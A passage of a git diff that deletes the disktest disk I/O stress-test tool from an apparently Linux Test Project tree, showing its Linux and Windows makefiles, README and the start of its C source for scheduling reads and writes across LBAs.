-# Miner bug fixes throughout text.
-#
-# Revision 1.5  2001/09/22 03:29:51  yardleyb
-# Added dependence on main.o for sfunc.h usage.h header files
-#
-# Revision 1.4  2001/09/10 22:14:27  yardleyb
-# Added clean up for tar file. Included man page in distro
-#
-# Revision 1.3  2001/09/06 18:23:30  yardleyb
-# Added duty cycle -D.  Updated usage. Added
-# make option to create .tar.gz of all files
-#
-# Revision 1.2  2001/09/05 22:44:42  yardleyb
-# Split out some of the special functions.
-# added O_DIRECT -Id.  Updated usage.  Lots
-# of clean up to functions.  Added header info
-# to pMsg.
-#
-# Revision 1.1  2001/09/04 19:28:07  yardleyb
-# Split usage out. Split header out.  Added usage text.
-# Made signal handler one function. code cleanup.
-#
-
-# -D "_LARGE_FILES" is used in AIX to support 64bit functions and data types
-# -D"_LARGEFILE64_SOURCE" -D"_FILE_OFFSET_BITS=64" is used in Linux to support 64bit functions and data types. -D"_GNU_SOURCE" is to support Linux O_DIRECT
-# These are typically taken from rpm, but, if not, defined here.
-bindir=/usr/bin
-libdir=/usr/lib
-sysconfdir=/etc
-mandir=/usr/share/man
-
-VER=`grep VER_STR main.h | awk -F\" '{print $$2}'`
-GBLHDRS=main.h globals.h defs.h
-ALLHDRS=$(sort $(wildcard *.h))
-SRCS=$(sort $(wildcard *.c))
-OBJS=$(SRCS:.c=.o)
-
-CFLAGS += -g -Wall -O -D"LINUX" -D"_THREAD_SAFE" -D"_GNU_SOURCE" -D"_LARGE_FILES" -D"_LARGEFILE64_SOURCE" -D"_FILE_OFFSET_BITS=64" $(RPM_OPT_FLAGS)
-
-all: $(OBJS) disktest
-
-disktest: $(OBJS) $(SRCS) $(ALLHDRS)
-	$(CC) $(CFLAGS) -o disktest $(OBJS) $(LDFLAGS) -lpthread
-
-main.o: main.c $(ALLHDRS)
-sfunc.o: sfunc.c sfunc.h $(GBLHDRS)
-parse.o: parse.c parse.h sfunc.h $(GBLHDRS)
-childmain.o: childmain.c childmain.h sfunc.h parse.h threading.h $(GBLHDRS)
-threading.o: threading.c threading.h childmain.h sfunc.h $(GBLHDRS)
-globals.o: globals.c threading.h $(GBLHDRS)
-usage.o: usage.c usage.h
-Getopt.o: Getopt.c Getopt.h
-io.o: io.c io.h $(GBLHDRS)
-dump.o: dump.c dump.h $(GBLHDRS)
-timer.o: timer.c timer.h $(GBLHDRS)
-stats.o: stats.c stats.h $(GBLHDRS)
-signals.o: signals.c signals.h threading.h $(GBLHDRS)
-
-install: disktest
-	ln -f disktest ../../../bin
-
-clean:
-	rm -f disktest $(OBJS)
-
-all-clean: clean
-	rm -f *~ *tar* *zip*
-
-distro: all-clean
-	mkdir -p disktest-$(VER)/man1
-	cp ./Makefile* ./*.[ch] ./LICENSE ./README ./CHANGELOG disktest-$(VER)
-	cp ./man1/disktest.1 disktest-$(VER)/man1
-	chmod 444 disktest-$(VER)/man1/disktest.1
-	gzip disktest-$(VER)/man1/disktest.1
-	tar cvf ./disktest-$(VER).tar disktest-$(VER)
-	rm -rf disktest-$(VER)
-	gzip ./disktest-$(VER).tar
diff --git a/testcases/kernel/io/disktest/Makefile.windows b/testcases/kernel/io/disktest/Makefile.windows
deleted file mode 100644
index b29156c..0000000
--- a/testcases/kernel/io/disktest/Makefile.windows
+++ /dev/null
@@ -1,235 +0,0 @@
-# Used with MS Development Environment NMAKE
-!IF "$(CFG)" == ""
-CFG=disktest - Release
-!MESSAGE No configuration specified. Defaulting to disktest - Release.
-!ENDIF
-
-!IF "$(CFG)" != "disktest - Release" && "$(CFG)" != "disktest - Debug"
-!MESSAGE Invalid configuration "$(CFG)" specified.
-!MESSAGE You can specify a configuration when running NMAKE
-!MESSAGE by defining the macro CFG on the command line. For example:
-!MESSAGE
-!MESSAGE nmake /f "Makefile.windows" CFG="disktest - Debug"
-!MESSAGE
-!MESSAGE Possible choices for configuration are:
-!MESSAGE
-!MESSAGE "disktest - Release" (based on "(x86) Console Application")
-!MESSAGE "disktest - Debug" (based on "(x86) Console Application")
-!MESSAGE
-!ERROR An invalid configuration is specified.
-!ENDIF
-
-!IF "$(OS)" == "Windows_NT"
-NULL=
-!ELSE
-NULL=nul
-!ENDIF
-
-CPP=cl.exe
-RSC=rc.exe
-
-!IF  "$(CFG)" == "disktest - Release"
-
-OUTDIR=.\Release
-INTDIR=.\Release
-# Begin Custom Macros
-OutDir=.\Release
-# End Custom Macros
-
-ALL : "$(OUTDIR)\disktest.exe"
-
-
-CLEAN :
-	-@erase "$(INTDIR)\childmain.obj"
-	-@erase "$(INTDIR)\childmain.sbr"
-	-@erase "$(INTDIR)\dump.obj"
-	-@erase "$(INTDIR)\dump.sbr"
-	-@erase "$(INTDIR)\timer.obj"
-	-@erase "$(INTDIR)\timer.sbr"
-	-@erase "$(INTDIR)\stats.obj"
-	-@erase "$(INTDIR)\stats.sbr"
-	-@erase "$(INTDIR)\Getopt.obj"
-	-@erase "$(INTDIR)\Getopt.sbr"
-	-@erase "$(INTDIR)\globals.obj"
-	-@erase "$(INTDIR)\globals.sbr"
-	-@erase "$(INTDIR)\io.obj"
-	-@erase "$(INTDIR)\io.sbr"
-	-@erase "$(INTDIR)\main.obj"
-	-@erase "$(INTDIR)\main.sbr"
-	-@erase "$(INTDIR)\parse.obj"
-	-@erase "$(INTDIR)\parse.sbr"
-	-@erase "$(INTDIR)\sfunc.obj"
-	-@erase "$(INTDIR)\sfunc.sbr"
-	-@erase "$(INTDIR)\threading.obj"
-	-@erase "$(INTDIR)\threading.sbr"
-	-@erase "$(INTDIR)\usage.obj"
-	-@erase "$(INTDIR)\usage.sbr"
-	-@erase "$(INTDIR)\signals.obj"
-	-@erase "$(INTDIR)\signals.sbr"
-	-@erase "$(INTDIR)\vc*.*"
-	-@erase "$(OUTDIR)\disktest.exe"
-
-"$(OUTDIR)" :
-    if not exist "$(OUTDIR)/$(NULL)" mkdir "$(OUTDIR)"
-
-CPP_PROJ=/nologo /W3 /Gs /MD /D"WIN32" /D"_WIN32_WINNT=0x0500" /D"WINDOWS" /D"NDEBUG" /D"_CONSOLE" /D"_MBCS" /FR"$(INTDIR)\\" /Fp"$(INTDIR)\disktest.pch" /Fo"$(INTDIR)\\" /Fd"$(INTDIR)\\" /FD /c
-
-LINK=link.exe bufferoverflowu.lib Winmm.lib Ws2_32.lib
-LINK_FLAGS=/nologo /subsystem:console /incremental:no /pdb:"$(OUTDIR)\disktest.pdb" /out:"$(OUTDIR)\disktest.exe"
-LINK_OBJS= \
-	"$(INTDIR)\childmain.obj" \
-	"$(INTDIR)\timer.obj" \
-	"$(INTDIR)\stats.obj" \
-	"$(INTDIR)\Getopt.obj" \
-	"$(INTDIR)\globals.obj" \
-	"$(INTDIR)\io.obj" \
-	"$(INTDIR)\main.obj" \
-	"$(INTDIR)\parse.obj" \
-	"$(INTDIR)\sfunc.obj" \
-	"$(INTDIR)\threading.obj" \
-	"$(INTDIR)\usage.obj" \
-	"$(INTDIR)\dump.obj" \
-	"$(INTDIR)\signals.obj"
-
-"$(OUTDIR)\disktest.exe" : "$(OUTDIR)" $(LINK_OBJS)
-    $(LINK) @<<
-  $(LINK_FLAGS) $(LINK_OBJS)
-<<
-
-!ELSEIF  "$(CFG)" == "disktest - Debug"
-
-OUTDIR=.\Debug
-INTDIR=.\Debug
-# Begin Custom Macros
-OutDir=.\Debug
-# End Custom Macros
-
-ALL : "$(OUTDIR)\disktest.exe"
-
-CLEAN :
-	-@erase "$(INTDIR)\childmain.obj"
-	-@erase "$(INTDIR)\childmain.sbr"
-	-@erase "$(INTDIR)\dump.obj"
-	-@erase "$(INTDIR)\dump.sbr"
-	-@erase "$(INTDIR)\timer.obj"
-	-@erase "$(INTDIR)\timer.obj"
-	-@erase "$(INTDIR)\stats.sbr"
-	-@erase "$(INTDIR)\stats.sbr"
-	-@erase "$(INTDIR)\Getopt.obj"
-	-@erase "$(INTDIR)\Getopt.sbr"
-	-@erase "$(INTDIR)\globals.obj"
-	-@erase "$(INTDIR)\globals.sbr"
-	-@erase "$(INTDIR)\io.obj"
-	-@erase "$(INTDIR)\io.sbr"
-	-@erase "$(INTDIR)\main.obj"
-	-@erase "$(INTDIR)\main.sbr"
-	-@erase "$(INTDIR)\parse.obj"
-	-@erase "$(INTDIR)\parse.sbr"
-	-@erase "$(INTDIR)\sfunc.obj"
-	-@erase "$(INTDIR)\sfunc.sbr"
-	-@erase "$(INTDIR)\threading.obj"
-	-@erase "$(INTDIR)\threading.sbr"
-	-@erase "$(INTDIR)\usage.obj"
-	-@erase "$(INTDIR)\usage.sbr"
-	-@erase "$(INTDIR)\signals.obj"
-	-@erase "$(INTDIR)\signals.sbr"
-	-@erase "$(INTDIR)\vc*.*"
-	-@erase "$(OUTDIR)\disktest.exe"
-	-@erase "$(OUTDIR)\disktest.ilk"
-	-@erase "$(OUTDIR)\disktest.pdb"
-
-"$(OUTDIR)" :
-    if not exist "$(OUTDIR)/$(NULL)" mkdir "$(OUTDIR)"
-
-CPP_PROJ=bufferoverflow.lib /nologo /MLd /W3 /Gm /GX /ZI /Od /MD /D"WIN32" /D"_WIN32_WINNT=0x0500" /D"WINDOWS" /D"_DEBUG" /D"_CONSOLE" /D "_MBCS" /FR"$(INTDIR)\\" /Fp"$(INTDIR)\disktest.pch" /YX /Fo"$(INTDIR)\\" /Fd"$(INTDIR)\\" /FD /GZ /c
-
-LINK=link.exe bufferoverflow.lib Winmm.lib Ws2_32.lib
-LINK_FLAGS=/nologo /subsystem:console /pdb:"$(OUTDIR)\disktest.pdb" /out:"$(OUTDIR)\disktest.exe"
-LINK_OBJS= \
-	"$(INTDIR)\childmain.obj" \
-	"$(INTDIR)\Getopt.obj" \
-	"$(INTDIR)\globals.obj" \
-	"$(INTDIR)\io.obj" \
-	"$(INTDIR)\main.obj" \
-	"$(INTDIR)\parse.obj" \
-	"$(INTDIR)\sfunc.obj" \
-	"$(INTDIR)\threading.obj" \
-	"$(INTDIR)\usage.obj" \
-	"$(INTDIR)\dump.obj" \
-	"$(INTDIR)\timer.obj" \
-	"$(INTDIR)\stats.obj" \
-	"$(INTDIR)\signals.obj"
-
-"$(OUTDIR)\disktest.exe" : "$(OUTDIR)" $(DEF_FILE) $(LINK_OBJS)
-    $(LINK) @<<
-  $(LINK_FLAGS) $(LINK_OBJS)
-<<
-
-!ENDIF
-
-.c{$(INTDIR)}.obj::
-   $(CPP) @<<
-   $(CPP_PROJ) $<
-<<
-
-.c{$(INTDIR)}.sbr::
-   $(CPP) @<<
-   $(CPP_PROJ) $<
-<<
-
-!IF "$(CFG)" == "disktest - Release" || "$(CFG)" == "disktest - Debug"
-
-SOURCE=.\childmain.c
-
-"$(INTDIR)\childmain.obj"	"$(INTDIR)\childmain.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\dump.c
-
-"$(INTDIR)\dump.obj"	"$(INTDIR)\dump.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\timer.c
-
-"$(INTDIR)\timer.obj"	"$(INTDIR)\timer.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\stats.c
-
-"$(INTDIR)\stats.obj"	"$(INTDIR)\stats.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\Getopt.c
-
-"$(INTDIR)\Getopt.obj"	"$(INTDIR)\Getopt.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\globals.c
-
-"$(INTDIR)\globals.obj"	"$(INTDIR)\globals.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\io.c
-
-"$(INTDIR)\io.obj"	"$(INTDIR)\io.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\main.c
-
-"$(INTDIR)\main.obj"	"$(INTDIR)\main.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\parse.c
-
-"$(INTDIR)\parse.obj"	"$(INTDIR)\parse.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\sfunc.c
-
-"$(INTDIR)\sfunc.obj"	"$(INTDIR)\sfunc.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\threading.c
-
-"$(INTDIR)\threading.obj"	"$(INTDIR)\threading.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\usage.c
-
-"$(INTDIR)\usage.obj"	"$(INTDIR)\usage.sbr" : $(SOURCE) "$(INTDIR)"
-
-SOURCE=.\signals.c
-
-"$(INTDIR)\signals.obj"	"$(INTDIR)\signals.sbr" : $(SOURCE) "$(INTDIR)"
-
-!ENDIF
-
diff --git a/testcases/kernel/io/disktest/README b/testcases/kernel/io/disktest/README
deleted file mode 100644
index fe1de29..0000000
--- a/testcases/kernel/io/disktest/README
+++ /dev/null
@@ -1,145 +0,0 @@
-Disktest Version v1.4.x README
-
-WHAT IS DISKTEST?
-
-  Disktest performs repeated i/o accesses to disk devices or filesystems
-  and optionally writes to, reads from, and verifies the data.
-
-  There are many optional parameters that can be supplied to disktest to have
-  it perform in a multitude of test cases.
-
-  It is distributed under the GNU General Public License - See the LICENSE
-  file that accompanies this distribution for more details.
-
-CHANGES
-
-    Please read the CHANGELOG for details on the changes to disktest from
-    previous releases.
-
-WHAT Operating Systems/Architectures DOES IT RUN ON?
-
-  This code has been written to compile on Linux, AIX, and Windows.  Both
-  on a 32bit and 64bit environments on Intel and Power.  There should be no
-  compatibility issues at the time of compilation or execution.  If you have
-  the time and can expand that list of OS/Arch types please feel free.
-
-DOCUMENTATION:
-
-  At present, the only documentation provided with disktest is the man page
-  which is included with the source files as man1/disktest.1.  You can either
-  install it as a man page on your system, use groff to view it if man is
-  not available, or export the man page to another readable format such as
-  html.
-
-INSTALLING THE SOURCE:
-
-  You can install the source by untaring the source tar files:
-
-          gzip -cd disktest.<version>.tar.gz | tar xvf -
-
-  This will create a directory in the current directory of:
-
-          disktest.<version>
-
-  The directory contents that should have been included in this source package
-  are:
-
-          /
-          README        LICENSE         childmain.c  childmain.h
-          defs.h        Getopt.c        Getopt.h     globals.c
-          globals.h     main.c          main.h       Makefile.windows
-          Makefile.aix  Makefile.linux  parse.c      parse.h
-          sfunc.c       sfunc.h         threading.c  threading.h
-          usage.c       usage.h         timer.c      timer.h
-          stats.c       stats.h         io.c         io.h
-          dump.c        dump.h			signals.c    signals.h
-          CHANGELOG
-
-          man1/
-          disktest.1.gz
-
-BUILDING THE SOURCE
-
-  You will need a compiler for the machine that you want to build the source
-  for.  There is a make file included for each OS type, which will attempt to
-  use the default compiler on your system.
-
-  If you wish, create a symbolic link to the correct Makefile for the system
-  that you are compiling the code for, the following defines are used in the
-  code to #ifdef code fragments:
-
-          Windows:       -D"WINDOWS"
-          AIX:           -D"AIX"
-          Linux:         -D"LINUX"
-
-  This will set up the includes and typedefs correctly to support the
-  different system types.
-
-  Issue the make command:
-
-          "make all"
-
-  The result should be a file in the source directory that is executable with
-  'disktest' as the name.
-
-  There are other make commands defined:
-
-          "make clean"     Will remove executable and object files only
-
-          "make all-clean" Will remove executable, temp files, object files and
-                           archives (*tar* & *zip*)
-
-          "make distro"    Will repackage the source files
-
-          "make install"   Will copy man page to /usr/share/man1, and binary to
-                           /usr/bin/
-
-          "make uninstall" Will remove man page and binary out of install
-                           directories.
-
-EXECUTING
-
-  To get started, run disktest with the -? flag:
-
-          "disktest -?"
-
-  This will display a simplified usage to get started.  More descriptive
-  documentation is located in the man page, along with examples of executions
-  and output that can give you the first look and feel of how disktest will
-  receive inputs and display outputs.
-
-SO WHAT ABOUT BUGS, FEATURES, ENHANCEMENTS?
-
-  It is possible that there will be issues, whether they are bugs or features
-  that would like to be added.  You can do a couple of things, one, fix/add the
-  code yourself and send it to me.  This is the fastest way to get improvements
-  into the code.  Two, You can send me a note that has a description of the
-  problem and if possible the recreate setup. I will see what I can do about
-  getting these things added to the code.
-
-  Comments are always welcome, even if it is just a note to let me know how
-  well the tool is working for you.  I am also interested in comparing the
-  tool to others people have used.  I would be interested in any feedback
-  about the usability, data output, functionality, etc. as compared to other
-  tools or testing needs.
-
-ON THE TODO LIST
-
-  - if filesystem IO testing is requested, pre-init the file if not created
-  - non-destructive read/write IO function
-  - allow user to specify complete LBA/block data
-  - RPC functionality to support client server type testing
-  - Butterfly seek option: test will seek block
-    start/end/start+1/end-1/.../end-1/start+1/end/start
-  - Ping-Pong seek option: test will seek block start/end/start/end/etc...
-  - min seek: force a minimum seek distance during any IO access
-  - max seek: force a maximum seek distance during any IO access
-  - add metric for the average response time for all IOs
-  - implement flock for filesystem testing on clusters
-  - OCFSv2 Oracle Cluster File System, compets with gpfs, gfs
-
-CONTACT
-
-  My email address is: yardleyb@us.ibm.com  (Brent Yardley)
-
-
diff --git a/testcases/kernel/io/disktest/childmain.c b/testcases/kernel/io/disktest/childmain.c
deleted file mode 100644
index 41cd271..0000000
--- a/testcases/kernel/io/disktest/childmain.c
+++ /dev/null
@@ -1,1046 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: childmain.c,v 1.11 2009/02/26 12:14:53 subrata_modak Exp $
-*
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <stdint.h>
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#include <process.h>
-#include <sys/stat.h>
-#include "getopt.h"
-#else
-#include <pthread.h>
-#include <sys/types.h>
-#include <unistd.h>
-#endif
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <ctype.h>
-
-#include "defs.h"
-#include "globals.h"
-#include "main.h"
-#include "sfunc.h"
-#include "threading.h"
-#include "io.h"
-#include "dump.h"
-#include "timer.h"
-#include "signals.h"
-#include "childmain.h"
-
-/*
- * The following three functions are used to mutex LBAs that are in use by another
- * thread from any other thread performing an action on that lba.
- */
-unsigned short action_in_use(const test_env_t * env, const action_t target)
-{
-	int i = 0;
-
-	for (i = 0; i < env->action_list_entry; i++) {
-		if ((target.lba == env->action_list[i].lba)	/* attempting same transfer start lba */
-		    ||((target.lba < env->action_list[i].lba) && (target.lba + target.trsiz - 1) >= env->action_list[i].lba)	/* attempting transfer over an lba in use */
-		    ) {
-			/*
-			 * The lba(s) we want to do IO to are in use by another thread,
-			 * but since POSIX allows for multiple readers, we need to compare
-			 * our action with the action being executed by the other thread
-			 */
-			switch (target.oper) {
-			case WRITER:	/* if we want to write, we can't */
-				return TRUE;
-			case READER:	/* if we want to read, and a write is in progress, we can't */
-				if (env->action_list[i].oper == WRITER) {
-					return TRUE;
-				}
-				/* otherwise allow multiple readers */
-				return FALSE;
-			default:
-				/* for all other operations, always assume inuse */
-				return TRUE;
-			}
-		}
-	}
-
-	return FALSE;
-}
-
-void add_action(test_env_t * env, const child_args_t * args,
-		const action_t target)
-{
-
-	if (env->action_list_entry == args->t_kids) {	/* we should never get here */
-		printf
-		    ("ATTEMPT TO ADD MORE ENTRIES TO LBA WRITE LIST THEN ALLOWED, CODE BUG!!!\n");
-		abort();
-	}
-
-	env->action_list[env->action_list_entry++] = target;
-}
-
-void remove_action(test_env_t * env, const action_t target)
-{
-	int i = 0;
-
-	if (env->action_list_entry == 0) {
-		/* we should never get here */
-		printf
-		    ("ATTEMPT TO REMOVE ENTRIES FROM LBA WRITE LIST WHERE NONE EXIST, CODE BUG!!!\n");
-		abort();
-	}
-
-	/* look for the removing target */
-	while (target.lba != env->action_list[i].lba) {
-		if (env->action_list_entry == i++) {
-			printf
-			    ("INDEX AND CURRENT LIST ENTRY, CODE BUG!!!!!!\n");
-			abort();
-		}
-	}
-
-	/* move eny other entries down */
-	for (; i < env->action_list_entry - 1; i++) {
-		env->action_list[i] = env->action_list[i + 1];
-	}
-
-	/* reduce the slot */
-	env->action_list_entry--;
-}
-
-void decrement_io_count(const child_args_t * args, test_env_t * env,
-			const action_t target)
-{
-	if (args->flags & CLD_FLG_LBA_SYNC) {
-		remove_action(env, target);
-	}
-	if (target.oper == WRITER) {
-		(env->wcount)--;
-	} else {
-		(env->rcount)--;
-	}
-}
-
-/*
- * This function will write a special mark to LBA 0 of
- * a target, if an error occured on the target.  This
- * is so a trigger can be set, i.e. on an analyser.
- */
-void write_error_mark(fd_t fd, char *data)
-{
-	OFF_T ActualBytePos = 0;
-	long tcnt = 0;
-
-	ActualBytePos = Seek(fd, 0);
-	if (ActualBytePos != 0) {
-		/* could not seek to LBA 0 */
-		return;
-	}
-
-	memcpy(data, "DISKTEST ERROR OCCURRED",
-	       strlen("DISKTEST ERROR OCCURRED"));
-	tcnt = Write(fd, data, BLK_SIZE);
-}
-
-/*
- * Sets the test state correctly, and updates test flags
- * based on user parsed options
- */
-void update_test_state(child_args_t * args, test_env_t * env,
-		       const int this_thread_id, fd_t fd, char *data)
-{
-	extern unsigned short glb_run;
-	extern unsigned long glb_flags;
-
-	if (args->flags & CLD_FLG_ALLDIE) {
-#ifdef _DEBUG
-		PDBG4(DBUG, args,
-		      "Thread %d: Setting bContinue to FALSE, io error, all die\n",
-		      this_thread_id);
-#endif
-		args->test_state = SET_STS_FAIL(args->test_state);
-		env->bContinue = FALSE;
-	}
-	if (glb_flags & GLB_FLG_KILL) {
-#ifdef _DEBUG
-		PDBG4(DBUG, args,
-		      "Thread %d: Setting bContinue to FALSE, io error, global die\n",
-		      this_thread_id);
-#endif
-		args->test_state = SET_STS_FAIL(args->test_state);
-		env->bContinue = FALSE;
-		glb_run = 0;
-	}
-	if ((args->flags & CLD_FLG_W) && (args->flags & CLD_FLG_ERR_MARK)) {
-		write_error_mark(fd, data);
-	}
-}
-
-#ifdef _DEBUG
-#ifdef _DEBUG_PRINTMAP
-void print_lba_bitmap(const test_env_t * env)
-{
-	unsigned char *wbitmap = (unsigned char *)env->shared_mem + BMP_OFFSET;
-	int i;
-
-	for (i = 0; i < (env->bmp_siz - 1); i++) {
-		printf("%02x", *(wbitmap + i));
-	}
-	printf("\n");
-}
-#endif
-#endif
-
-action_t get_next_action(child_args_t * args, test_env_t * env,
-			 const OFF_T mask)
-{
-
-	OFF_T *pVal1 = (OFF_T *) env->shared_mem;
-	OFF_T *tmpLBA;
-	OFF_T guessLBA;
-	unsigned char *wbitmap = (unsigned char *)env->shared_mem + BMP_OFFSET;
-
-	short blk_written = 0;
-	unsigned long i;
-	action_t target = { NONE, 0, 0 };
-	short direct = 0;
-
-	/* pick an operation */
-	target.oper = env->lastAction.oper;
-	if ((args->flags & CLD_FLG_LINEAR) && !(args->flags & CLD_FLG_NTRLVD)) {
-		target.oper = TST_OPER(args->test_state);
-	} else if ((args->flags & CLD_FLG_RANDOM)
-		   && !(args->flags & CLD_FLG_NTRLVD)) {
-		if ((((env->wcount) * 100) /
-		     (((env->rcount) + 1) + (env->wcount))) >= (args->wperc)) {
-			target.oper = READER;
-		} else {
-			target.oper = WRITER;
-		}
-#ifdef _DEBUG
-		PDBG4(DBUG, args, "W:%.2f%% R:%.2f%%\n",
-		      100 * ((double)(env->wcount) /
-			     ((double)env->rcount + (double)env->wcount)),
-		      100 * ((double)(env->rcount) /
-			     ((double)env->wcount + (double)env->rcount)));
-#endif
-	} else if ((args->flags & CLD_FLG_NTRLVD)
-		   && !TST_wFST_TIME(args->test_state)) {
-		if ((args->flags & CLD_FLG_R) && (args->flags & CLD_FLG_W)) {
-			target.oper =
-			    (env->lastAction.oper == WRITER) ? READER : WRITER;
-		}
-	} else if (target.oper == NONE) {
-		/* if still no decision for an operation, do the basics */
-		target.oper = (args->flags & CLD_FLG_W) ? WRITER : READER;
-	}
-
-	/* pick a transfer length */
-	if (!(args->flags & CLD_FLG_RTRSIZ)) {
-		target.trsiz = args->ltrsiz;
-	} else {
-		if ((args->flags & CLD_FLG_NTRLVD) &&
-		    (args->flags & CLD_FLG_W) &&
-		    (args->flags & CLD_FLG_R) &&
-		    (env->lastAction.trsiz != 0) && (target.oper == READER)) {
-			target.trsiz = env->lastAction.trsiz;
-		} else {
-			do {
-				target.trsiz = (rand() & 0xFFF) + args->ltrsiz;
-				if ((args->flags & CLD_FLG_SKS)
-				    && (((env->wcount) + (env->rcount)) >=
-					args->seeks))
-					break;
-			} while (target.trsiz > args->htrsiz);
-		}
-	}
-
-	/* pick an lba */
-	if (args->start_blk == args->stop_blk) {	/* diskcache test */
-		target.lba = args->start_lba + args->offset;
-	} else if (args->flags & CLD_FLG_LINEAR) {
-		tmpLBA =
-		    (target.oper ==
-		     WRITER) ? pVal1 + OFF_WLBA : pVal1 + OFF_RLBA;
-		direct = (TST_DIRCTN(args->test_state)) ? 1 : -1;
-		if ((target.oper == WRITER) && TST_wFST_TIME(args->test_state)) {
-			*(tmpLBA) = args->start_lba + args->offset;
-		} else if ((target.oper == READER)
-			   && TST_rFST_TIME(args->test_state)) {
-			*(tmpLBA) = args->start_lba + args->offset;
-		} else if ((TST_DIRCTN(args->test_state))
-			   && ((*(tmpLBA) + (target.trsiz - 1)) <=
-			       args->stop_lba)) {
-		} else if (!(TST_DIRCTN(args->test_state))
-			   && (*(tmpLBA) >= (args->start_lba + args->offset))) {
-		} else {
-			if (args->flags & CLD_FLG_LUNU) {
-				*(tmpLBA) = args->start_lba + args->offset;
-				if ((args->flags & CLD_FLG_CYC)
-				    && (target.oper == WRITER)) {
-					target.oper = NONE;
-				}
-			} else if (args->flags & CLD_FLG_LUND) {
-				args->test_state = DIRCT_CNG(args->test_state);
-				direct =
-				    (TST_DIRCTN(args->test_state)) ? 1 : -1;
-				*(tmpLBA) +=
-				    (OFF_T) direct *(OFF_T) target.trsiz;
-				if ((args->flags & CLD_FLG_CYC) && (direct > 0)) {
-					target.oper = NONE;
-				}
-			}
-		}
-		target.lba = *(tmpLBA);
-	} else if (args->flags & CLD_FLG_RANDOM) {
-		if ((args->flags & CLD_FLG_NTRLVD)
-		    && (args->flags & CLD_FLG_W)
-		    && (args->flags & CLD_FLG_R)
-		    && (target.oper == READER)) {
-			target.lba = env->lastAction.lba;
-		} else {
-			do {
-				target.lba =
-				    (Rand64() & mask) + args->start_lba;
-			} while (target.lba > args->stop_lba);
-
-			guessLBA =
-			    ALIGN(target.lba, target.trsiz) + args->offset;
-			if (guessLBA > args->stop_lba) {
-				target.lba = guessLBA = args->stop_lba;
-			}
-			if (target.lba != guessLBA) {
-				if ((target.lba - guessLBA) <=
-				    ((guessLBA + target.trsiz) - target.lba)) {
-					target.lba = guessLBA;
-				} else if ((guessLBA + target.trsiz) >
-					   args->stop_lba) {
-					target.lba = guessLBA;
-				} else {
-					target.lba = guessLBA + target.trsiz;
-				}
-			}
-			if ((target.lba + (target.trsiz - 1)) > args->stop_lba) {
-				target.lba -= target.trsiz;
-			}
-		}
-	}
-	if ((args->flags & CLD_FLG_LBA_SYNC) && (action_in_use(env, target))) {
-		target.oper = RETRY;
-	}
-
-	if (!(args->flags & CLD_FLG_NTRLVD)
-	    && !(args->flags & CLD_FLG_RANDOM)
-	    && (args->flags & CLD_FLG_W)
-	    && (args->flags & CLD_FLG_R)) {
-		if (((target.oper == WRITER) ? env->wcount : env->rcount) >=
-		    (args->seeks / 2)) {
-			target.oper = NONE;
-		}
-	}
-
-	/* get out if exceeded one of the following */
-	if ((args->flags & CLD_FLG_SKS)
-	    && (((env->wcount) + (env->rcount)) >= args->seeks)) {
-		target.oper = NONE;
-	}
-
-	/*
-	 * check the bitmask to see if we can read,
-	 * if the bitmask is set for the block of LBAs,
-	 * then we are OK to read
-	 *
-	 * only matters of error checking or write once
-	 */
-	blk_written = 1;
-	if (args->flags & (CLD_FLG_CMPR | CLD_FLG_WRITE_ONCE)) {
-		for (i = 0; i < target.trsiz; i++) {
-			if ((*
-			     (wbitmap +
-			      (((target.lba - args->offset - args->start_lba) +
-				i) / 8)) & (0x80 >> (((target.lba -
-						       args->offset -
-						       args->start_lba) +
-						      i) % 8))) == 0) {
-				blk_written = 0;
-				break;
-			}
-		}
-	}
-
-	/* get out, nothing to do */
-	if ((target.oper == NONE) || (target.oper == RETRY)) ;
-	/* get out, read only, or not comparing */
-	else if (!(args->flags & CLD_FLG_W)) ;
-	/* get out, we are a writer, write once enabled, and block not written */
-	else if ((target.oper == WRITER) && (args->flags & CLD_FLG_WRITE_ONCE)
-		 && !blk_written) ;
-	/* get out, we are a writer and not write once */
-	else if ((target.oper == WRITER)
-		 && !(args->flags & CLD_FLG_WRITE_ONCE)) ;
-	/* get out, we are a reader, and blocks written */
-	else if ((target.oper == READER) && blk_written) ;
-	else if ((args->flags & CLD_FLG_LINEAR)
-		 || ((args->flags & CLD_FLG_NTRLVD)
-		     && (args->flags & CLD_FLG_RANDOM))) {
-		if (!blk_written) {
-			/*
-			 * if we are linear and not interleaved and on the read pass
-			 * with random transfer sizes, and we hit the limit of the
-			 * random write transfer lengths, because blk_written was
-			 * false, then we cannot do any more reads unless we start
-			 * over at start_lba+offset.
-			 */
-			if ((args->flags & CLD_FLG_LINEAR) &&
-			    !(args->flags & CLD_FLG_NTRLVD) &&
-			    (args->flags & CLD_FLG_RTRSIZ) &&
-			    (target.oper == READER)) {
-				tmpLBA = pVal1 + OFF_RLBA;
-				*(tmpLBA) = args->start_lba + args->offset;
